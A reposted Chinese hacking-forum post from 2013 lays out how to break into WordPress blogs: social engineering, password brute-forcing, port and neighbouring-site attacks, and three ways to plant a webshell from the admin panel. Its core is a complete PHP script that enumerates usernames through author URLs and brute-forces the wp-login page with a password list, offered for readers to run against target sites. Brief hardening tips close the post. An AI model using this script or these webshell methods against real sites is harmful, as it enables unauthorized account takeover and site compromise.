查看: 10553|回复: 1

【转】浅谈入侵WordPress程序的思路和安全

[复制链接]
  • TA的每日心情
    无聊
    2015-9-15 23:25
  • 签到天数: 16 天

    [LV.4]偶尔看看III

    发表于 2013-11-30 22:17:12 | 显示全部楼层 |阅读模式
    本帖最后由 FS、H 于 2013-11-30 22:43 编辑

    前言:
    建博客也有些日子了,一直都想写篇入侵WP博客的文章,而又想给自己博客做一次安全检测,今天就顺带一起吧。自己的博客,日起来,总有那么点别扭的感觉。本文是边写边搞的,所以至于结果,还未知中,个人感觉是不会搞下来滴,嘻嘻,对自己站的一种信任,相信每个站长都有这种心理吧,所以本文重在谈论入侵思路和安全防御。

    思路:
    WP程序,广受国内外站长们的喜爱,也因此,WP程序的安全也是一直以来做的不错的,说到入侵WP博客,小菜也没经验,完全是找了些这类的文章看了下,然后自己在琢磨点思路,所以还请看官们勿喷呐~
    1.信息收集,对网站的域名持有人、管理员社工,寻找一切有利用价值的资料,如:常用密码。
    2.利用BurpLoader、wpscan对目标站后台尝试弱口令爆破,当然,也可以用别的方式爆破。
    3.利用wpscan对网站全面检测,wpscan是一款专门针对WP程序安全的检测工具,具体这里不详细说,有兴趣可以百度下。
    4.利用0day,当然,这点只是对于大牛们来说,像我们这种小菜哪有虾米0day啊,不过,这里我推荐一个地方可以找:Exploits-db
    以下就是大众入侵思路了(不单单针对WP站点):
    1.扫描服务器端口,尝试21、1433、3306、3389等端口爆破。(如果有别的端口上有WEB站也是个突破点)
    2.从旁站,C段下手。
    对于WP的入侵思路,貌似我就只想到这些,技术有限,一直弱爆了,如果您还有什么思路,欢迎分享。
    WP博客后台拿shell方法:
    WP博客后台拿shell,这个有很多方法的,但我不止一次见到有人发帖问了,我也就在这里告诉大家我自己总结的几种后台拿shell方法吧,大家也可以自己百度。
    1.利用插件,插件名字叫FileBrowser,可以点击插件,安装插件,搜索插件,然后安装,这个插件就是个文件管理插件,截个图,大家一看就明白,这个方法貌似在网上还没发现有人公布额,不过这个方法得需要插件目录可写,不然没法安装肯定就没法用。
    12.png

    2.修改主题代码,外观-编辑-随便选个.php的文件插入一句话或者直接修改成shell代码也行。
    3.随便找个WP主题包,然后再包里面加入你的马儿,然后后台-外观-主题-安装主题,上传主题,然后直接根据找访问你的马儿就行了,至于路径,相信你会找。
    这里就只说这么几个拿shell方法,其实说真的,WP后台拿shell完全是秒啊。。。。

    开撸:
    信息收集就没必要了吧?日我自己的博客,我感觉我的脑子里的东西肯定比大数据,搜索引擎这些来的精准和多,嘻嘻~信息收集,可以通过搜索引擎,目标站中站长的联系方式,大数据等,这些各种收集,然后尝试查找密码,组合密码,登陆后台等等。
    尝试后台爆破也没必要了,表示博客装了防火墙,记得那天因为我重复刷新还吧我的IP给墙了-,-,所以这条思路也不用尝试了。
    1.利用wpscan对网站全面检测:
    下面就是用wpscan检测插件了,这才是我一直想检测的,别的地方我感觉应该没问题。
    12.jpg
    我的kalilinux不知道怎么回事,怎么都没法用wpscan,于是让基友帮忙扫了下,基友说扫不动,我也猜到了,有防火墙,屏蔽了扫描。这里我就为了文章,随便在友链里找了个,90大牛的博客吧,让基友给扫了下,给大家上几个图吧。
    13.jpg

    14.jpg
    WP版本是3.6.1的,其他没有什么有用的信息,好吧,继续检查下一个。
    2.利用0day,我么有0day只知道前段时间爆出来的一个爆破用户密码的洞子,咱们试试?

    php wordpress.php http://www.example.com //使用方法
    EXP:
    <!--?php

    set_time_limit(0);
    $domain = $argv[1];

    //获取用户名
    for ($i=1; $i <= 10; $i++) {

        $url = $domain."/?author=".$i;
        $response = httprequest($url,0);
        if ($response == 404) {
            continue;
        }
        $pattern = "{<title-->(.*) \|}";
        preg_match($pattern, $response, $name);
        $namearray[] = $name[1];
    }

    echo "共获取用户".count($namearray)."名用户\n";

    echo "正在破解用户名与密码相同的用户:\n";

    $crackname = crackpassword($namearray,"same");

    $passwords = file("pass.txt");

    echo "正在破解弱口令用户:\n";

    if ($crackname) {
        $namearray = array_diff($namearray,$crackname);
    }

    crackpassword($namearray,$passwords);

    function crackpassword($namearray,$passwords){
        global $domain;
        $crackname = "";
        foreach ($namearray as $name) {
            $url = $domain."/wp-login.php";
            if ($passwords == "same") {
                $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $name"."\n";
                    $crackname[] = $name;
                }
            }else{
                foreach ($passwords as $pass) {
                    $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                    $pos = strpos(httprequest($url,$post),'div id="login_error"');
                    if ($pos === false) {
                        echo "$name $pass"."\n";
                    }
                }
            }
        }
        return $crackname;
    }

    function httprequest($url,$post){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, "$url");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);

        if($post){
            curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        }

        $output = curl_exec($ch);
        $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
        curl_close($ch);

        if ($httpcode == 404) {
            return 404;
        }else{
            return $output;
        }
    }
    ?>

    15.png
    破解失败,可以去Exploits-db找找。
    1.png
    至于端口扫描和旁站C这些,我的站就不用看了,做了cdn,真实IP没几个人能找到,而且ssh采用了秘钥登陆,所以这几条思路直接断开了。

    总结:
    WP该如何做好安全呢?
    其实WP本身就已经很安全了,他一般的漏洞都是出自插件上面,只要你少装插件,尽量把需要的插件用代码实现,然后再吧后台地址隐藏或者装个防火墙、插件在或者修改后台代码,添加验证码这些都可以解决爆破了,然后再是自己要有安全意识,别使用统一密码,避免密码泄露,服务器安全做好,常更新WP版本,这样就很少会出问题了。
    我有点后悔拿自己的博客来写了。。。让文章瞬间变水了,哎,算了,将就了,这文章几天前就开始写了,但是因为wpscan没法用,就暂时没写,今天才想起来这文章,才来收个尾的,有些忙各位看官将就了。下次一定写好点。


    转载自:逝情‘s Blog
    回复

    使用道具 举报

    该用户从未签到

    发表于 2013-12-1 12:50:21 | 显示全部楼层
    我去,转的啊你
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-23 23:58 , Processed in 0.026897 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部